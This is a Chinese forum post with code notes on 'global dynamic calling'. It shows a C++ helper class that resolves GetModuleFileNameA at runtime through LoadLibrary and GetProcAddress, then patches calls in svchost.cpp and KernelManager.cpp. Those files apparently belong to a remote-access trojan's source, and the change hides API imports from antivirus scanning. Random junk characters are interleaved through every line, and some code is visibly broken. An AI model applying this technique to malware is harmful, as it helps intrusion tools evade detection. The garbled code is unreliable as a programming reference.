返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
4 x9 |% M. O4 e# w: Zsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
6 t+ L& e- x7 B/ P; }----------------------------------------: c+ h: C/ `. Y3 k9 {) b- k
DTDY.h:) k7 _7 ]* d; ?7 W7 x( U6 d# b
; j8 W/ w  x. H5 c
#if _MSC_VER>10001 ?2 ^3 Z# r, X+ S) D6 W
#pragma once' ^# V2 b* G" M" m
#endif //_MSC_VER>1000
3 b1 q' w; s6 I  K/ h5 f#include<windows.h>) a$ l; \& f5 Z  @6 S8 O

; S4 V0 L' N  U. k. r0 u3 H6 stypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
6 A( x& Q7 M' m; L( F) Uclass DTDY7 P" R4 p  {. o) `0 }" C$ R$ K7 s
{4 S  V2 b7 Z0 ~& Z
public:9 e) G$ x. O2 s7 I5 q
DTDY();" a+ Y+ D& b6 {; L) J5 r% C. \' n
virtual ~DTDY();
' L9 |* t2 S+ n4 i3 L5 Vpublic:
' N1 X$ R" t% L8 n9 w0 Ostatic pGetModuleFileNameA MyGetModuleFileName;. P. h: p( H9 z0 l3 r; \
static BOOL FunInitiallization();
' V/ y% o$ o( M, ?};
; R/ s4 m* ~" ^( Z$ b2 N#endif  c9 S/ v: \6 H2 {1 F
----------------------------------------
7 K/ v" F* R7 d9 {; X& q
5 ?4 I* q+ j9 A9 yDTDY.cpp:
  j, f" \6 O' r# B6 P; k" l% D3 D$ y# ^) [- X' O3 O) m' }% `
#include "DTDY.h"
; h& k: U$ r! b2 F- LpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;" r# {( O) r. u7 i, r  r; @
DTDY:TDY()5 N2 i1 n6 D5 j
{
% F* x  d( K9 w$ f4 D}. E: n7 w: T5 e$ w' W; m
DTDY::~DTDY()- D- X1 V5 B* a' Z
{
) l/ h! J  m+ D1 R1 w. f}
5 t' l* j3 v9 C( j5 B  pBOOL DTDY::FunInitiallization()& ^  y; U! {( C0 q) w9 v
{/ N; x0 U* J( b. p& w1 u! p1 o
HMODULE hModule=LoadLibrary("kernel32.dll");
4 `, ?& S: i8 i4 D! _MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
5 @  y0 ^' [+ [2 a& E' wif(!MyGetModuleFileName=) return FALSE;
) ]8 {$ U6 q) K5 T3 r" ?! W- \1 R: o4 n+ m# s  K# |
return TRUE;
/ m6 e" w; k7 _$ E; J}
; H& _( }. l, o+ ~; _% t----------------------------------------
' M) Z4 ~; D( S+ H  [$ ]svchost.cpp:
# a! N& P+ a. _& K8 l
- E1 y8 t8 a  T#include "DTDY.h"* q; t. M* U5 o! M+ D

: t: \% A' f+ {BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)$ x/ Y* |% q7 r
{
9 z9 p7 [$ w0 V/ l& |  iswitch(ul_reason_for_call). g! m5 y$ T. C4 n0 [
{  s6 \6 l3 i) a1 k
case DLL_PROCESS_ATTACH:; v$ ^2 E, {, @2 x1 O7 c
if(!DTDY::FunInitiallization()) return FALSE;; _4 T! ?( x  ^

# ], U- C6 v" @break;; b. D  L8 \+ K  ^5 T/ _8 r
}
( |) n; e; p* j: R}+ x( K4 @3 ]4 k! r, P
4 N' T# _( s1 Z
2 ~+ I5 D* L; @
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
  j+ _0 h2 A6 H+ R: z. @& d2 H改写为
" F) H' U# q% x6 t5 H: k5 VDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
& ]! H7 X3 ]# [4 t2 W----------------------------------------6 B# M8 m7 |0 Q2 x  j
KernelManager.cpp:
  b% m7 r# N9 o- l! G
, C6 F2 [3 Y4 f, o  T0 m+ y! M#include "../DTDY.h"3 T* V; l4 ^8 A8 ~
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));/ M, \. z& m" W" ^2 ]6 o" S8 D
改写为5 i9 j2 v2 W3 I+ K' ]! u/ ^+ [% q1 j
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
  c% \: `3 j8 d0 Q4 P" W/ L0 k----------------------------------------

返回列表